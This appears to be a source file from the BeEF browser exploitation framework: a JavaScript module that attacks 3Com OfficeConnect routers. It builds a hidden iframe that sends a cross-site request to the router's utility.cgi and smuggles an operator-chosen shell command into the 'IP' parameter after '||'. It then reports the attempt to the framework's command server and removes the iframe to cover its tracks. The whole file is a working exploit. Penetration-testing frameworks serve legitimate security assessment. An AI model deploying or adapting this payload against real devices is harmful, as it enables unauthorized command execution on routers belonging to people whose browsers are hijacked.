Path: blob/master/modules/exploits/router/3com_officeconnect_cmd_exec/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var gateway = '<%= @base %>';9var path = 'utility.cgi';10var cmd = '<%= @cmd %>';11var timeout = 15;1213var com_officeconnect_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", "application/x-www-form-urlencoded", [14{'type':'hidden', 'name':'testType', 'value':'1'},15{'type':'hidden', 'name':'IP', 'value':'||'+cmd}16]);1718beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1920cleanup = function() {21document.body.removeChild(com_officeconnect_iframe_<%= @command_id %>);22}23setTimeout("cleanup()", timeout*1000);2425});26272829